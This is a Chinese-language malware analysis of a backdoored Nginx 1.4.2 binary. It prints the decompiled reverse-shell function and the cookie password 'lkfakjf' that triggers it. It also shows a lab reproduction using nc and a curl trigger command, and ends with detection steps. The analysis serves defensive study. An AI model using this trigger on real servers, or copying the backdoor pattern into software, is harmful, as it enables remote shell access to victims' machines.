Nginx 1.4.2 后门分析
最近安恒威胁情报论坛上公开了一个 Nginx 后门的情报,我比较感兴趣,把样本下回来做了下分析。
文件 MD5 | ab498686505dfc645e14c6edad280da7 |
1. 后门分析
把样本载入到 Ghidra,“Search” > “For Strings”中搜索字符串“/sh”,找到如下:
DEFINED 00475606 s_/bin/sh_00475606 ds "/bin/sh" "/bin/sh" string 8 false
双击结果,跳转到 0x00475606 地址上,并在右键菜单中依次选择“References” ,“Show References to Address”,结果如下:
004363d3 MOV ESI=>s_/bin/sh_00475606,s_/bin/sh_00475606 PARAM 004363d3 MOV ESI=>s_/bin/sh_00475606,s_/bin/sh_00475606 DATA 004363d8 MOV hostname=>s_/bin/sh_00475606,RSI PARAM
双击跳转到地址 0x004363d3,根据符号信息,这个地址位于 connect_shell 函数内,Ghidra 自动转换的实现代码如下:
int connect_shell(char *hostname) { char cVar1; ushort port; int __fd; ulong uVar2; char *pcVar3; sockaddr_in si; char tempo [512]; strcpy(tempo,hostname); /* IP 和端口用冒号分割 */ strtok(tempo,":"); uVar2 = 0xffffffffffffffff; pcVar3 = tempo; do { if (uVar2 == 0) break; uVar2 = uVar2 - 1; cVar1 = *pcVar3; pcVar3 = pcVar3 + 1; } while (cVar1 != '\0'); /* 获取端口号 */ port = __strtol_internal(hostname + ~uVar2,0,10,0); strcpy(hostname,tempo); si.sin_port = port >> 8 | port << 8; si.sin_family = 2; si.sin_addr = inet_addr(hostname); __fd = socket(2,1,0); connect(__fd,(sockaddr *)&si,0x10); write(__fd,&DAT_00475602,3); dup2(__fd,0); dup2(__fd,1); dup2(__fd,2); /* 用 /bin/sh 替换了当前进程 */ execl("/bin/sh","/bin/sh",0); close(__fd); exit(0); }
这个后门通信的函数实现非常简单,启动一个 shell 与 hostname 参数提供的地址建立 TCP 连接。
现在看什么地方调用了 connect_shell,在 Decompile 窗口右键菜单依次选择“References” > “Find References to connect_shell”,如下:
.debug_frame::00005c40 dq connect_shell DATA ?? EXTERNAL 00436471 CALL connect_shell UNCONDITIONAL_CALL 0047c504 fde_table_entry INDIRECTION 00481fa0 ddw connect_shell DATA
0x00436471 调用了 CALL 指令,因此跳转过去,跳转后位于 ngx_http_header_filte 函数中,就能看到触发后门的关键代码了:
ngx_int_t ngx_http_header_filter(ngx_http_request_t *r) { ...... pnVar1 = &(r->headers_in).cookies.nelts; ret = *pnVar1 == 0; cookies = *pnVar1 == 1; if (cookies) { cookies_elts = *(byte **)(*(long *)(r->headers_in).cookies.elts + 0x20); length = 7; pbVar16 = cookies_elts; password = (byte *)"lkfakjf"; do { if (length == 0) break; length = length + -1; ret = *pbVar16 < *password; cookies = *pbVar16 == *password; pbVar16 = pbVar16 + 1; password = password + 1; } while (cookies); /* 判断 Cookie 中带有字符串“lkfakjf” */ if ((!ret && !cookies) == ret) { uVar13 = 0xffffffffffffffff; pbVar16 = cookies_elts; do { if (uVar13 == 0) break; uVar13 = uVar13 - 1; bVar3 = *pbVar16; pbVar16 = pbVar16 + 1; } while (bVar3 != 0); /* 从“lkfakjf”之后,下标为 8 的字符开始为连接主机的地址和端口 */ strncpy(hostname,(char *)(cookies_elts + 8),~uVar13 - 9); process = fork(); if (process == 0) { /* 简单粗暴,fork 个新进程去连接后门 */ connect_shell(hostname); exit(0); } } } ...... }
后门触发原理很简单,如果 Cookie 内容为
lkfakjf 主机地址:端口
就与主机建立通讯。
2. 后门利用
我在几个 GNU/Linux 发行版里运行都存在动态链接库依赖问题,于是看了下这个后门版的 Nginx 依赖哪些 so:
$ objdump -x nginx | fgrep NEEDED NEEDED libpthread.so.0 NEEDED libcrypt.so.1 NEEDED libpcre.so.0 NEEDED libssl.so.6 NEEDED libcrypto.so.6 NEEDED libdl.so.2 NEEDED libz.so.1 NEEDED libgd.so.2 NEEDED libc.so.6
接着看看这个 Nginx 的版本:
$ strings nginx_backdoor | fgrep version ...... nginx version: nginx/1.4.2 ......
1.4.2 有点老了,猜测黑客是为某台运行了成熟业务的服务器专门定制的后门;接着网上查了下这些动态链接库版本,发现和 CentOS 6 中的比较吻合,所以我的测试环境也用 CentOS 6。
去 Docker 拉一个 CentOS 6 的镜像:
$ sudo docker pull centos:6
启动个容器:
$ sudo docker run --name centos6_env -it centos:6 bash
为了省去手动逐个安装依赖,直接在容器里安装个 Nginx:
# yum install epel-release # yum install nginx
然后建个 /usr/local/nginx、/usr/local/nginx/logs 文件夹,把样本拷贝到 /usr/local/nginx 目录中运行。
接着在本地用 nc 监听个端口:
$ nc -l 4444
本地用 curl 触发后门:
$ curl 172.17.0.3 -H 'Cookie: lkfakjf 172.17.0.1:5555'
注意 nc 有了反应:
$ nc -l 5555 # id uid=499(nginx) gid=499(nginx) groups=499(nginx)
3. 检测方法
1、检查 Nginx 二进制文件中是否存在“/sh”:
$ strings nginx | fgrep /sh /bin/sh
2、这个后门直接 fork 了一个 /bin/sh 进程,所以在进程中能直接看到 nginx 这个用户启动的 /bin/sh:
# ps aux | grep sh nginx 271 0.0 0.0 11368 2440 ? S 11:08 0:00 /bin/sh